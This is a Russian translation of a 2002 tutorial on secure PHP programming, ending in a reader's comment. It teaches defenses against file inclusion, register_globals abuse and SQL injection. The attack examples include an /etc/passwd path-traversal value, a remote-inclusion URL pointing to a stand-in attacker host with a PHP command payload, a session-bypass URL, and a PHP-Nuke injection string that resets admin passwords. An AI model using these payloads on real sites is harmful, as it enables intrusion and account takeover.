Ключевые слова:php, security, (найти похожие документы)
From: Yukko <yukko@bigmir.net>
Newsgroups: email
Date: Mon, 15 Oct 2003 14:31:37 +0000 (UTC)
Subject: Основы безопасного программирования на PHP
Автор: Thomas Oertli
Оригинал статьи находится по адресу: http://zend.com/zend/art/art-oertli.php
30 января 2002 года
Введение
--------
Целью данной статьи является не только указание на
основые слабые места, а также способы создания безопасных приложений на
РНР, а еще и дать практические примеры реализации кода. Основной
особенностью РНР является то, что люди, практически не имея опыта,
программирования могут быстро научиться создавать приложения, которые
будут удовлетворять их потребностям. С другой стороны многие из подобных
программистов не знают внутренних механизмов работы созданных ими
приложений. Безопасность и удобство использования приложения не всегда
идут рука об руку, но это не значит, что подобное абсолютно невозможно.
Уязвимые места
--------------
Внешние подключаемые файлы
В РНР хорошо реализована работа с различными файлами. Функции include(),
require() и fopen() обрабатывают файлы, которые находятся на локальном
диске, так и файлы, которые находятся на серверах в Интернете (для
доступа к таким файлам используется их URL). Из-за неправильной
обработки динамически подключаемых файлов или путей к файлам появляется
большое количество уязвимых скриптов.
Пример
На одном из сайтов, я специально не буду упоминать его адрес в статье
(потому что описываемая сейчас мной уязвимость еще существует), я
заметил скрипт, который динамически подключает различные html-файлы и
включает их в свой дизайн. Посмотрите на следующий URL:
http://example.com/page.php?i=aboutus.html
Переменная $i явно указывает на имя файла, который будет в себя включать
скрипт, когда Вы видите подобный URL у Вас в голове должна сразу же
возникнуть куча вопросов:
∙ - учел ли программист использования перехода на директорию выше вот
таким способом: id=../../../etc/passwd?
∙ - Проверяет ли он расширение подключаемого файла? В данном случае .html
∙ - Использует ли он функцию fopen() для подключаемого файла?
∙ - Есть ли возможность подключать нелокальные файлы?
Время действовать! Получив негативный ответ на все четыре вопроса, мы
можем сказать с твердой уверенностью, что у нас есть возмодность
прочитать абсолютнно любой файл, к которому имеет доступ пользователь,
от имени которого работает на компьютере веб-сервер.
Но что еще более примечательно, что функцией include() на этом сайте
подключались HTML файлы. Возьмем себе это на вооружение и напишем в
браузере в строке адреса: http://example.com/page.php?i=http://evilhacker.org/exec.html
где exec.html содержит совсем простенький код:
<?php
passthru ('id');
passthru ('ls -al /etc');
passthru ('ping -c 1 evilhaxor.org');
passthru ('echo You have been hax0red | mail root');
?>
Я думаю, что смысл Вам уже понятен, не правда ли?
Использование глобальных переменных
-----------------------------------
По-умолчанию РНР использует большинство переменных как глобальные.
Естественно это очень удобно, с другой стороны при таком большом
количестве глобальных переменных Вы очень быстро потеряетесь при разборе
большого скрипта. Откуда пришла переменная? Если ей не присвоено
значение, откуда она могла придти? Все переменные окружения, данные
переданные способами GET, POST, а так же Cookies и переменные сервера
все находятся в области видимости глобальных переменных.
Если установлена директива track_vars, то автоматически будут созданны
глобальные массивы
$HTTP_ENV_VARS
$HTTP_GET_VARS
$HTTP_POST_VARS
$HTTP_COOKIE_VARS
$HTTP_SERVER_VARS
$HTTP_SESSION_VARS
что позволит Вам искать значение переменной только в том месте, откуда
они должны прийти. С версии РНР 4.0.3 опция tack_vars включена
по-умолчанию.
Пример
Эта уязвимость была впервые опубликована в списке рассылок Ошибки в РНР
(в оригинале: bugtrack mailing list) Исмаелем Паломо 25 июля 2001 года.
Приведенный им код в этой статье урезан и немного модифицирован для его
лучшего понимания:
В директории admin в файле index.php проверялся пароль по базе данных
после того, как скрипт получал его из формы регистрации.
<?php
if ($dbpass == $pass) {
session_register("myname");
session_register("fullname");
session_register("userid");
header("Location: index2.php");
}
?>
Если пароли, которые ввел пользователь и пароль из базы данных
совпадали. Значения переменных сохранялись в сессию и после этого
пользователь перенаправлялся на упрощенный код которого приведен ниже:
<?php
if (!$PHPSESSID) {
header("Location: index.php");
exit(0);
} else {
session_start();
if (!$myname) session_register("myname");
if (!$fullname) session_register("fullname");
if (!$userid) session_register("userid");
}
?>
Если браузеру не был выдан идентификатор сессии (в орининале: session
ID), то пользователя отправляют на страниуц ввода пароля, если же
браузеру выдан идентификатор сессии скрипт возобновляет сессию и
восстанавливает из сессии предварительно сохраненные в ней переменные в
глобальную область видимости. Посмотрим, как можно обойти подобный
механизм, сформировав вот такой URL:
http://example.ch/admin/index2.php?PHPSESSID=1&myname=admin&fullname=joey&userid=admin
Переменные, которые передаются методом GET $PHPSESSID, $myname,
$fullname и $userid , сразу же попадают в глобальную область видимости
по умолчанию. А теперь посмотрите на структуру операторов if else,
сделав это, Вы заметите, что скрипт просто проверяет идентификатор
сессии на наличие, и в случае положиетельного исхода проверки можно
присвоить переменным, которы отвечают за авторизацию пользователя, любые
значения. Во втором скрипте index2.php данные, которые хранятся в
переменных myname, fullname, userid, стоило бы еще раз проверить в базе
данных, чего не было сделано. Самым быстрым решением проблемы
безопасности этого скрипта, но не самой лучшей, будет проверка значений
элементов глобальных массивов $HTTP_SESSION_VARS['userid'] or
$_SESSION['userid'] (если установлена PHP версии v4.1.0 и выше) заместо
проверки значений переменных $userid. Если Вы серьезно настроены
продожать чтение, чтобы создавать действительно безопасные приложения
прочитайте главу 3.3.
SQL
---
Программирование на РНР было бы очень скучнум без возможности хранить
данные в какой-либо базе данных. Динамическое составление запросов с
использованием непроверенных данных переданных с пользовательского ввода
является еще одной уязвимостью РНР-прилжений.
Пример
Ошибка была описана в списке рассылки Ошибки в РНР (в оригинале:
bugtrack mailing list) касательно PHP-Nuke 5.x 3 августа 2001 года.
Приведенная ошибка является комбинацией перезаписи глобальных переменных
(описана выше) и непроверенной переменной, в которой хранится
SQL-запрос. Разработчики PHP-Nuke решили добавить приставку "nuke" ко
всем именам таблиц, префикс мог быть изменен, если несколько сайтов
использующих РНР-Nuke будут обращаться к одному серверу БД. По-умолчанию
префикс хранился в файле config.php^
$prefix = "nuke";
Возьмем несколько строк из файла article.php.
<?php
if (!isset($mainfile)) {
include("mainfile.php");
}
if (!isset($sid) && !isset($tid)) {
exit();
}
?>
и немного дальше по тексту:
<?php
mysql_query("UPDATE $prefix"._stories.
" SET counter=counter+1 where sid=$sid");
?>
Для изменения SQL запроса мы должны убедиться что $prefix не имеет
значения по-умолчанию, чтобы передать ему значение через параметры GET
запроса. Конфигурационный файл подключается в mainfile.php. Из
предыдущей главы нам известно, что есть возможность инициализировать
переменные $mainfile, $sid и $tid любыми значениями, используя параметры
переданные методом GET. Путем такой манипуляции скрипт проверит, что
mainfile.php подключил config.php, в котором было установлено значение
$prefix. Мы подошли к той части, где выполняется запрос типа UPDATE.
Обратившись к скприпту нижеприведенным образом мы всем администраторам
установим пароль '1':
http://example.com/article.php?mainfile=1&sid=1&tid=1&prefix=nuke.authors%20set%20pwd=1%23
Теперь наш запрос будет выглядеть вот так:
UPDATE nuke.nuke_authors set pwd=1#_stories SET counter=counter+1 where sid=$sid");
Естественно, все что идет после символа # (решетка) будет
проигнорировано, потому что решетка означает комментарий в SQL.
Основы создания безопасных приложений
-------------------------------------
Сознание опасности
Прежде чем что-то предпринимать, писать скрипт, Вы должны понимать, что
не следует доверять данным, которые приходят из любых внешних источников
будь то параметры переданные методом GET или POST, cookie, они могут
быть установлены во что угодно. Проверка на клиенте при помощи
JavaScript не спасет!
Проверка пользовательского ввода
--------------------------------
Любая перменная, значение которой пришло из вне, должна быть проверена.
Во многих случаях можно обойтись банальным приведением типов. Например,
когда Вы передаете id поля в базе даннх в качестве параметра GET
запроса, следует сделать, например, вот так:
$id = (int)$HTTP_GET_VARS['id'];
или
$id = (int)$_GET['id']; /* (если версия PHP => v4.1.0) */
Теперь Вы уверены, что $id содержит целое число. Если кто-то захочет
модифицировать SQL запрос путем передачи вместо id строки, то после
приведенных выше действий значение id будет 0. Проверка строк дело более
сложное, по моему мнению самый профессиональный подход для проверки
строковых данных - использование регулярных выражений. Я знаю, что
многие из Вас пытаются всячески избежать использования регулярных
выражений, но, поверьте мне, Вы получите много преимуществ, если хотя бы
будете понимать основы их работы. А вот и пример, как использовать
регулярные выражения для проверки переменной $id из главы 2.1. при
помощи регулярного выражения:
<?php
if (ereg("^[a-z]+\.html$", $id)) {
echo "Отлично!";
} else {
die("Попытайтесь взломать чей-то другой сайт.");
}
?>
Скрипт продолжит выполнение только в том случае, если переменная $id
содержит имя файла, которое начинается с мальнькой буквы(но не цифры)
содержит только буквы и заканчивается на .html Не буду вдаваться в
правила построения регулярных выражений, но настоятельно рекомендую к
изучению книгу "Регулярные выражения" Дж. Фридл (в оригинале: "Mastering
Regular Expressions" by Jeffrey E. F. Friedl (O'Reilly)).
Использование переменных в глобальной области видимости
-------------------------------------------------------
Я очень рад, что у меня в Декабре 2001 не хватало на написание этой
статьи времени, потому что Энди и Зив (в оригинале: Andi and Zeev)
добавили в РНР с версии 4.1.0. очень полезные массивы: $_GET, $_POST,
$_COOKIE, $_SERVER, $_ENV и $_SESSION использование которых
предпочтительней чем старых массивов $HTTP_*_VARS и они могут
использоваться по всему скрипту не принимая во внимание текущую область
видимости. Теперь нет необходимости импортировать эти массивы используя
оператор global внутри фунций.
Сделайте себе услугу и выключите опцию register_globals (поменяйте
register_globals с on на off). Это приведет к тому, что все данные,
которые приходят в скрипт через GET, POST-запросы, Cookie, переменные
сервера, переменные окружения, а также переменные, которые хранятся в
сессиях не будут присутсвовать больше в области видимости глобальных
переменных. Естественно прийдется немного изменить стиль
программирования, но на самом деле любому программисту необходимо знать,
откуда берутся значения перменных в его программе, а так же это
предотвратит появление многих проблем безопасности Вашего приложения,
которые описаны в главе 2.2 Покажем это на примерах:
Пример плохого стиля кодирования:
<?php
function session_auth_check() {
global $auth;
if (!$auth) {
die("Authorization required.");
}
}
?>
Пример хорошего стиля кодирования:
<?php
function session_auth_check() {
if (!$_SESSION['auth']) {
die("Authorization required.");
}
}
?>
Ведение журналов работы приложения
----------------------------------
Во время создания приложения очень полезно будет поставить уровень
оповещения про ошибки приложения, так, чтобы выводились все ошибки, но в
реально работающем приложении стоит указать уровень error_reporting
равным 0. Используйте функцию error_log() для ведения журнала приложения
и даже для отправки оповещений на почтовый адрес. Если Вы и вправду
беспокоитесь про безопасность своих приложений, то даже можете сделать
систему обнаружения попыток взлома и отправлять себе по почте
оповещения, если кто-то пытается подменить данные, пересылаемые через
параметры GET или POST запросов, либо через cookies.
Заключение
----------
Программирование защищенных приложений требует немного больше времени,
чем создание приложения по принципу: "Вау, круто, оно работает!" Но Вы
увидели из примеров, что Вам нельзя не обращать внимание на аспекты
безопасности Ваших приложений. Надеюсь, я научил Вас немного, как
улучшить качество создаваемых Вами программ.
Про автора
----------
Thomas Oertli программист на РНР и системный администратор. Так же он
учавствует на общественных началах в различных проектах посвященных
компьютерной безопасности.
Йоптыть, читал-читал, дошел до
"Если Вы серьезно настроены продожать чтение, чтобы создавать действительно безопасные приложения прочитайте главу 3.3." ...и завис...
што эта?
где эта ?